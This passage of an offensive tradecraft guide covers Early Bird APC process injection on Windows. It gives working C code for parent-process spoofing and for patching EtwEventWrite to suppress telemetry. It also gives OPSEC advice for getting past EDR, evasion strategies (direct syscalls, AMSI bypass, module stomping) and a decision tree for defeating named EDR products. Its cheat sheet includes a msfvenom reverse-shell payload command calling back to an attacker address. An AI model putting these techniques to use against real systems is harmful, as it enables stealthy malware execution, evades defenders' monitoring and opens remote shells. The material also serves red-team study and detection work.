├─ C:\Windows\System32\RuntimeBroker.exe
├─ C:\Windows\System32\dllhost.exe
├─ C:\Windows\System32\svchost.exe (with -k flag)
├─ C:\Windows\System32\werfault.exe
├─ C:\Windows\SysWOW64\notepad.exe (32-bit contexts)
└─ C:\Windows\System32\explorer.exe (only spoof parent)
Bad targets (high EDR scrutiny):
├─ cmd.exe, powershell.exe ← always monitored
├─ wscript.exe, cscript.exe ← script hosts
└─ mshta.exe, regsvr32.exe ← LOLBins
12.2 Parent Process ID (PPID) Spoofing
// Make your process look like it was spawned by explorer.exe
// Uses PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
HANDLE parent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, explorer_pid);
SIZE_T attr_size;
LPPROC_THREAD_ATTRIBUTE_LIST attr_list = NULL;
InitializeProcThreadAttributeList(NULL, 1, 0, &attr_size);
attr_list = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attr_size);
InitializeProcThreadAttributeList(attr_list, 1, 0, &attr_size);
UpdateProcThreadAttribute(
attr_list, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&parent, sizeof(HANDLE), NULL, NULL
);
STARTUPINFOEXA siex = { 0 };
siex.StartupInfo.cb = sizeof(siex);
siex.lpAttributeList = attr_list;
CreateProcessA(
"C:\\Windows\\System32\\dllhost.exe",
NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT,
NULL, NULL,
(LPSTARTUPINFOA)&siex, &pi
);
13. OPSEC Considerations
13.1 Memory Protection Pattern
BAD (flagged by EDR):
VirtualAllocEx(..., PAGE_EXECUTE_READWRITE) ← RWX allocation
WriteProcessMemory(...)
QueueUserAPC(...)
GOOD:
VirtualAllocEx(..., PAGE_READWRITE) ← RW first
WriteProcessMemory(...)
VirtualProtectEx(..., PAGE_EXECUTE_READ, ...) ← then RX
QueueUserAPC(...)
13.2 Handle Cleanup
// Always close handles — orphaned handles are telemetry
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(parent);
DeleteProcThreadAttributeList(attr_list);
HeapFree(GetProcessHeap(), 0, attr_list);
13.3 Shellcode Encryption in Memory
// Decrypt shellcode only at injection time — never store plaintext
// Use AES or XOR (see Shellcode_Encryption_and_Encoding.md)
decrypt_shellcode(encrypted_sc, key, plaintext_buf);
WriteProcessMemory(pi.hProcess, remote_buf, plaintext_buf, shellcode_size, NULL);
SecureZeroMemory(plaintext_buf, shellcode_size); // wipe plaintext immediately
13.4 OPSEC Summary Table
| Practice | Risk if Skipped | Priority |
|---|---|---|
| RW → RX (no RWX) | EDR flags RWX allocation | Critical |
| PPID spoofing | Suspicious parent-child | High |
| Encrypted shellcode | Static detection on disk | High |
| Direct syscalls | ntdll hook bypass skipped | High |
| Handle cleanup | Orphaned handles in telemetry | Medium |
| Signed host process | Spawning unsigned binary | Medium |
| No command-line args | Unusual arg patterns | Low-Med |
14. Detection & Evasion
14.1 EDR Detection Points
Detection vectors (roughly ordered by confidence):
HIGH CONFIDENCE:
├─ CreateProcess(CREATE_SUSPENDED) + VirtualAllocEx + WriteProcessMemory + QueueUserAPC
│ → The "classic Early Bird sequence" — well-known pattern
├─ RWX memory allocation in remote process
├─ SetThreadContext cross-process (Thread Hijacking)
└─ NtQueueApcThreadEx with Special APC flag
MEDIUM CONFIDENCE:
├─ QueueUserAPC targeting a thread in another process
├─ WriteProcessMemory to newly allocated region
├─ Suspicious parent-child (e.g., notepad.exe → svchost.exe)
└─ NtTestAlert called after VirtualAlloc
LOW CONFIDENCE:
├─ CreateFiber + SwitchToFiber (less monitored)
├─ DEBUG_PROCESS flag (somewhat common in legitimate debuggers)
└─ PPID spoofed to explorer.exe (common pattern but harder to rule out)
14.2 Evasion Strategies
1. Direct Syscalls (SysWhispers3 / HellsGate)
→ Bypass all ntdll user-mode hooks
→ QueueUserAPC syscall (0x44) called directly
2. Indirect Syscalls
→ Use legitimate ntdll gadgets to make syscall
→ Looks like syscall originated from ntdll
3. Sleep Masking
→ Encrypt shellcode in memory during sleep
→ EDR memory scanner sees encrypted blob, not shellcode
4. Process Ghosting / Doppelgänging
→ Write payload to a file before it's created on disk
→ Complex but high stealth
5. Module Stomping
→ Write shellcode over a legitimate loaded DLL's memory
→ Memory region appears to belong to signed DLL
6. ETW Patching
→ Patch Event Tracing for Windows (ETW) to suppress telemetry
→ Requires patching ntdll!EtwEventWrite
7. AMSI Bypass (PowerShell hosts)
→ Patch amsi.dll!AmsiScanBuffer before shellcode execution
14.3 ETW Patch (Suppress Telemetry)
// Patch EtwEventWrite to suppress event logging
// (Use with extreme caution — detectable by kernel-level ETW)
FARPROC etw_write = GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite");
DWORD old_prot;
VirtualProtect(etw_write, 4, PAGE_EXECUTE_READWRITE, &old_prot);
// Patch: mov eax, 0 / ret
*(PBYTE)etw_write = 0x33; // xor eax, eax
*((PBYTE)etw_write + 1) = 0xC0;
*((PBYTE)etw_write + 2) = 0xC3; // ret
VirtualProtect(etw_write, 4, old_prot, &old_prot);
15. Tools Reference
| Tool | Purpose | Link |
|---|---|---|
| SysWhispers3 | Direct syscall stub generator | https://github.com/klezVirus/SysWhispers3 |
| HellsGate | Dynamic syscall number resolution | https://github.com/am0nsec/HellsGate |
| Halo's Gate | Syscall resolution (hooked stubs) | https://github.com/boku7/AsmHalosGate |
| TartarusGate | Dynamic indirect syscalls | https://github.com/trickster0/TartarusGate |
| Cobalt Strike | PPID spoofing, process injection | Commercial C2 |
| Havoc | Early Bird + direct syscalls | https://github.com/HavocFramework/Havoc |
| Sliver | Process injection, C2 | https://github.com/BishopFox/sliver |
| pe-sieve | Detect injected code (defender) | https://github.com/hasherezade/pe-sieve |
| moneta | Live memory scanner (defender) | https://github.com/forrest-orr/moneta |
| ProcessHacker | View APC queues, threads | https://processhacker.sourceforge.io |
16. Comparison Matrix
| Technique | Complexity | EDR Bypass | Alertable State Needed | Creates New Thread | Target | OS Req |
|---|---|---|---|---|---|---|
| CREATE_SUSPENDED + QueueUserAPC | Low | Low-Med | No (Early Bird) | No | Remote process | Any |
| DEBUG_PROCESS | Medium | Medium | No | No | Remote process | Any |
| NtTestAlert (self) | Low | Medium | No | No | Self | Any |
| Special User APC | Medium | Medium | No | No | Remote process | Win10 1903+ |
| Thread Hijacking (SetThreadContext) | Medium | Low | No | No | Remote thread | Any |
| Fiber injection | Low | Medium-High | No | No | Self | Any |
| Direct Syscalls + APC | High | High | No | No | Remote process | Any |
17. Cheat Sheet
Quick Early Bird Workflow
# Step 1: Generate shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 -f c -o shellcode.h
# Step 2: Encrypt shellcode (ALWAYS — see Shellcode_Encryption notes)
python3 xor_encode.py # Quick XOR
python3 aes_encrypt.py # Strong AES-256
# Step 3: Generate direct syscall stubs
python3 SysWhispers.py \
--functions NtAllocateVirtualMemory,NtWriteVirtualMemory,\
NtProtectVirtualMemory,NtQueueApcThread,NtResumeThread \
--output syscalls --arch x64
# Step 4: Compile (MSVC)
cl.exe earlybird.c syscalls.c /Fe:earlybird.exe /link kernel32.lib
# Step 5: Test (offline Defender scan)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File earlybird.exe
# Step 6: Check for memory injection (defender-side)
pe-sieve.exe /pid <target_pid>
Process Creation Flags Quick Reference
CREATE_SUSPENDED = 0x00000004
DEBUG_PROCESS = 0x00000001
DEBUG_ONLY_THIS_PROCESS = 0x00000002
CREATE_NO_WINDOW = 0x08000000
CREATE_NEW_CONSOLE = 0x00000010
EXTENDED_STARTUPINFO_PRESENT = 0x00080000 ← for PPID spoofing
Common combinations:
Early Bird basic: CREATE_SUSPENDED | CREATE_NO_WINDOW
Debug mode: DEBUG_PROCESS | DEBUG_ONLY_THIS_PROCESS
PPID spoofing: CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT
Maximum control: CREATE_SUSPENDED | DEBUG_PROCESS | DEBUG_ONLY_THIS_PROCESS
Memory Protection Flags
PAGE_READWRITE = 0x04 ← Allocate with this first
PAGE_EXECUTE_READ = 0x20 ← Then change to this
PAGE_EXECUTE_READWRITE = 0x40 ← AVOID — strong EDR signal
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
MEM_RELEASE = 0x8000
Decision Tree — Which Technique?
Need Early Bird injection?
│
├─ Target: create new process?
│ ├─ Simple PoC / CTF?
│ │ └─ CREATE_SUSPENDED + QueueUserAPC → basic, works
│ │
│ ├─ EDR present (Defender only)?
│ │ └─ CREATE_SUSPENDED + RW→RX + PPID spoof + encrypted shellcode
│ │
│ ├─ EDR present (CrowdStrike / SentinelOne)?
│ │ └─ Direct syscalls (SysWhispers3) + CREATE_SUSPENDED + Special User APC
│ │
│ └─ Windows 10 1903+ target?
│ └─ NtQueueApcThreadEx Special User APC (no alertable state needed)
│
├─ Target: inject into existing process?
│ ├─ Thread hijacking (SetThreadContext + GetThreadContext)
│ └─ Find alertable thread → classic APC (not Early Bird)
│
└─ Self-injection (no remote process)?
├─ Fiber injection (CreateFiber + SwitchToFiber) ← low detection
└─ NtTestAlert self-APC ← medium detection
Key Windows API Call Chain (x64)
CreateProcessA
→ kernel32!CreateProcessInternalW
→ ntdll!NtCreateUserProcess ← direct syscall here with SysWhispers3
VirtualAllocEx
→ kernelbase!VirtualAllocEx
→ ntdll!NtAllocateVirtualMemory ← syscall #0x18
WriteProcessMemory
→ kernelbase!WriteProcessMemory
→ ntdll!NtWriteVirtualMemory ← syscall #0x3A
QueueUserAPC
→ kernelbase!QueueUserAPC
→ ntdll!NtQueueApcThread ← syscall #0x44
ResumeThread
→ kernel32!ResumeThread
→ ntdll!NtResumeThread ← syscall #0x52
References & Tools
Core Reading:
- ired.team — Early Bird APC injection deep dive — https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection
- modexp — Windows APC internals — https://modexp.wordpress.com/2019/08/27/process-injection-apc/
- hasherezade — Process injection techniques overview — https://github.com/hasherezade/process-injection
- Alice Climent-Pommeret — Special User APC deep dive
- MSDN — QueueUserAPC, CreateProcess, NtQueueApcThreadEx
Tools: - SysWhispers3 — https://github.com/klezVirus/SysWhispers3 - HellsGate — https://github.com/am0nsec/HellsGate - pe-sieve — https://github.com/hasherezade/pe-sieve - moneta — https://github.com/forrest-orr/moneta - Havoc C2 — https://github.com/HavocFramework/Havoc
Research Papers: - Sektor7 — Malware Development Intermediate (Early Bird technique) - VX-Underground — APC injection papers - Windows Internals (Russinovich) — Chapter 3: Processes and Threads